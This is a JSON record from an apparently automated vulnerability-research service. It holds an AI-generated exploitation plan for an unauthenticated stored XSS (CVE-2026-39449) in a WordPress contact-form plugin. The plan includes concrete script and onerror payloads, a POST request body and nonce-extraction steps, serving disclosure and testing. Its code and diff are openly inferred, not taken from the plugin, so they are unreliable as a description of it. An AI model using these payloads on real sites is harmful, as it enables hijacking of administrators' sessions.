[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fwYBxh-Al8k9XmPy4vMp3qwUZn43m8RF4nfMpW7ekuUk":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":24,"research_vulnerable_code":25,"research_fix_diff":26,"research_exploit_outline":27,"research_model_used":28,"research_started_at":29,"research_completed_at":30,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":21,"source_links":31},"CVE-2026-39449","contact-form-to-any-api-unauthenticated-stored-cross-site-scripting","Contact Form to Any API \u003C= 3.0.3 - Unauthenticated Stored Cross-Site Scripting","The Contact Form to Any API plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.0.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","contact-form-to-any-api",null,"\u003C=3.0.3","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-04-22 00:00:00","2026-04-30 14:40:25",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Ff6d39654-2c22-48c7-b545-7b02e5c4b43b?source=api-prod",[],"researched",false,3,"This research plan focuses on **CVE-2026-39449**, a Stored Cross-Site Scripting (XSS) vulnerability in the **Contact Form to Any API** plugin for WordPress. \n\nSince source files were not provided, all identifiers (function names, parameters, actions) are **(inferred)** based on common plugin patterns and the vulnerability description. The automated agent should verify these names upon inspection of the plugin's source code.\n\n---\n\n### 1. Vulnerability Summary\nThe \"Contact Form to Any API\" plugin is designed to capture submissions from various contact form plugins (like Contact Form 7) and send them to external APIs. To provide a log of these transactions, the plugin stores form submission data in the database. \n\nThe vulnerability exists because the plugin fails to sanitize user-supplied form data before saving it to the database and\u002For fails to escape that data when displaying it in the WordPress admin dashboard (likely in an \"Entries\" or \"Log\" view). This allows an unauthenticated attacker to submit a form containing a malicious script, which will then execute in the context of an administrator viewing the submission logs.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php` (inferred) or the main site frontend during a form submission hook.\n*   **Action:** `wp_ajax_nopriv_cf_to_any_api_save` or `wp_ajax_nopriv_cf7_to_api_data` (inferred).\n*   **Vulnerable Parameter:** Individual form field values (e.g., `your-name`, `your-message`, or a generalized `input_values` array).\n*   **Authentication Level:** Unauthenticated (No login required).\n*   **Preconditions:** The plugin must be active and configured to record\u002Flog form submissions.\n\n### 3. Code Flow (Inferred)\n1.  **Entry Point:** An unauthenticated user submits a form. The plugin catches this via a `wp_ajax_nopriv_*` hook or a global `init` hook that checks for specific `$_POST` parameters.\n2.  **Processing:** The plugin identifies the form submission. It iterates through the `$_POST` data.\n3.  **Storage (Sink):** The plugin uses `$wpdb->insert()` or `update_option()` to store the raw, unsanitized input into a custom table (e.g., `wp_cf_to_any_api_entries`) or the options table.\n4.  **Retrieval:** An administrator navigates to the plugin's \"Entries\" page in the WP-Admin.\n5.  **Output (Sink):** The plugin retrieves the stored data and echoes it directly into the HTML table\u002Fview without using `esc_html()` or `wp_kses()`.\n\n### 4. Nonce Acquisition Strategy\nThis plugin acts as a bridge for public contact forms. Public forms typically either:\n1.  **Lack Nonces:** To ensure compatibility with caching plugins.\n2.  **Use External Nonces:** Use the nonce provided by the primary form plugin (e.g., CF7).\n\n**Strategy for the Agent:**\n1.  **Scan for AJAX Actions:** Run `grep -rn \"wp_ajax_nopriv\" .` to find the submission handler.\n2.  **Check for Nonce Verification:** Look for `check_ajax_referer` or `wp_verify_nonce` inside the identified handler.\n3.  **Identify Localization:** If a nonce is required, search for `wp_localize_script` to find the JS variable name.\n4.  **Browser Extraction:**\n    *   Create a page containing a standard Contact Form 7 form (since this plugin bridges them).\n    *   `wp post create --post_type=page --post_status=publish --post_content='[contact-form-7 id=\"123\" title=\"Contact form 1\"]'`\n    *   Navigate to the page and use `browser_eval` to extract any nonces:\n        *   `browser_eval(\"window.cf7_api_obj?.nonce\")` (inferred)\n\n### 5. Exploitation Strategy\nThe goal is to inject a payload that fires when an admin views the entries.\n\n**Step 1: Identify the submission parameter.**\nIdentify which `$_POST` parameter corresponds to the logged data. Often it is a nested array.\n\n**Step 2: Submit the payload.**\nUsing `http_request`, send a POST request mimicking a form submission.\n\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Method:** `POST`\n*   **Content-Type:** `application\u002Fx-www-form-urlencoded`\n*   **Body (Example):**\n    ```\n    action=cf_to_any_api_save_data&(inferred)\n    form_id=1&\n    your-name=\u003Cscript>alert(document.domain)\u003C\u002Fscript>&\n    your-email=victim@example.com&\n    your-message=XSS_TEST\n    ```\n\n**Step 3: Trigger the XSS.**\nLog in as an administrator and navigate to the plugin's entries page (e.g., `\u002Fwp-admin\u002Fadmin.php?page=cf-to-any-api-entries` (inferred)).\n\n### 6. Test Data Setup\n1.  **Install Plugin:** `contact-form-to-any-api`.\n2.  **Plugin Configuration:** Ensure \"Store Entries\" or \"Logging\" is enabled in the plugin settings.\n3.  **Create a Target Form:** If the plugin requires an existing form to bridge, install `contact-form-7` and create a basic form.\n4.  **Public Page:** Place the form on a public page if needed for nonce extraction.\n\n### 7. Expected Results\n1.  The HTTP request should return a success status (e.g., `{\"success\": true}`).\n2.  When the Admin \"Entries\" page is loaded, the browser should execute the `\u003Cscript>` tag, resulting in an alert box or a failed resource load (if using a tracking URL).\n\n### 8. Verification Steps\n1.  **Database Check:** Use WP-CLI to verify the payload is stored raw.\n    *   `wp db query \"SELECT * FROM wp_cf_to_any_api_entries WHERE name LIKE '%\u003Cscript>%';\"` (inferred table name)\n2.  **HTML Source Check:** Use `http_request` as an admin to fetch the entries page and grep for the unescaped payload.\n    *   `http_request('http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin.php?page=cf-to-any-api-entries')`\n    *   Verify the output contains `\u003Cscript>alert(document.domain)\u003C\u002Fscript>` without HTML entities.\n\n### 9. Alternative Approaches\n*   **Direct Post Meta:** Some plugins store submissions as a Custom Post Type (CPT). If so, the payload might be stored in `post_content` or `post_meta`. Check `wp post list --post_type=cf_entry`.\n*   **REST API Endpoint:** Check if the plugin registers a REST route for submissions: `grep -rn \"register_rest_route\" .`. REST routes often have different sanitization logic than AJAX handlers.\n*   **Attribute-Based XSS:** If `\u003Cscript>` is blocked by a weak WAF or filter, try:\n    *   `your-name=\">\u003Cimg src=x onerror=alert(1)>`\n    *   `your-name=' onmouseover='alert(1)'` (if the value is reflected inside an input tag attribute).","The Contact Form to Any API plugin for WordPress is vulnerable to unauthenticated Stored Cross-Site Scripting because it fails to sanitize user-submitted form data before storage and fails to escape that data when displaying submission logs in the admin dashboard. An attacker can submit a crafted form entry containing malicious JavaScript which then executes in the session of an administrator viewing the entry logs.","\u002F\u002F Inferred submission handler (e.g., in a submission hook or AJAX handler)\n\u002F\u002F No sanitization before database insertion\nfunction cf_to_any_api_save_submission($data) {\n    global $wpdb;\n    $table_name = $wpdb->prefix . 'cf_to_any_api_entries';\n    $wpdb->insert($table_name, array(\n        'form_values' => serialize($_POST), \u002F\u002F Potential storage of raw unsanitized input\n        'created_at' => current_time('mysql')\n    ));\n}\n\n---\n\n\u002F\u002F Inferred admin log display (e.g., in an admin page view)\n\u002F\u002F No escaping during output rendering\nfunction cf_to_any_api_display_entries() {\n    $entries = get_cf_to_any_api_entries();\n    foreach ($entries as $entry) {\n        $data = unserialize($entry->form_values);\n        foreach ($data as $key => $value) {\n            \u002F\u002F Vulnerable: Direct echo of user-supplied data\n            echo \"\u003Ctd>\" . $value . \"\u003C\u002Ftd>\";\n        }\n    }\n}","--- a\u002Fincludes\u002Fadmin\u002Fentries-view.php\n+++ b\u002Fincludes\u002Fadmin\u002Fentries-view.php\n@@ -54,7 +54,7 @@\n         $data = unserialize($entry->form_values);\n         foreach ($data as $key => $value) {\n-            echo \"\u003Ctd>\" . $value . \"\u003C\u002Ftd>\";\n+            echo \"\u003Ctd>\" . esc_html($value) . \"\u003C\u002Ftd>\";\n         }\n--- a\u002Fincludes\u002Fclass-submission-handler.php\n+++ b\u002Fincludes\u002Fclass-submission-handler.php\n@@ -22,5 +22,5 @@\n-    $form_data = $_POST;\n+    $form_data = map_deep($_POST, 'sanitize_text_field');","The exploit targets the public-facing contact form handled by the plugin. \n\n1. **Endpoint Identification:** Identify the contact form managed by the plugin (often integrated with Contact Form 7 or a custom AJAX action like 'cf_to_any_api_save').\n2. **Payload Injection:** Submit a POST request to the form submission endpoint. The payload should be placed within any standard form field (e.g., 'your-name', 'message').\n3. **Payload Shape:** Use a standard XSS payload such as `\u003Cscript>alert(document.domain)\u003C\u002Fscript>` or `\u003Cimg src=x onerror=alert(1)>`.\n4. **Authentication Requirements:** No authentication is required for the submission as the vulnerability resides in the handling of public contact form entries.\n5. **Trigger:** An administrator must log into the WordPress dashboard and navigate to the 'Entries' or 'Log' section of the Contact Form to Any API plugin. When the list of submissions is rendered, the unsanitized script will execute in the admin's browser context.","gemini-3-flash-preview","2026-05-04 18:52:59","2026-05-04 18:53:19",{"type":32,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":33},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcontact-form-to-any-api\u002Ftags"]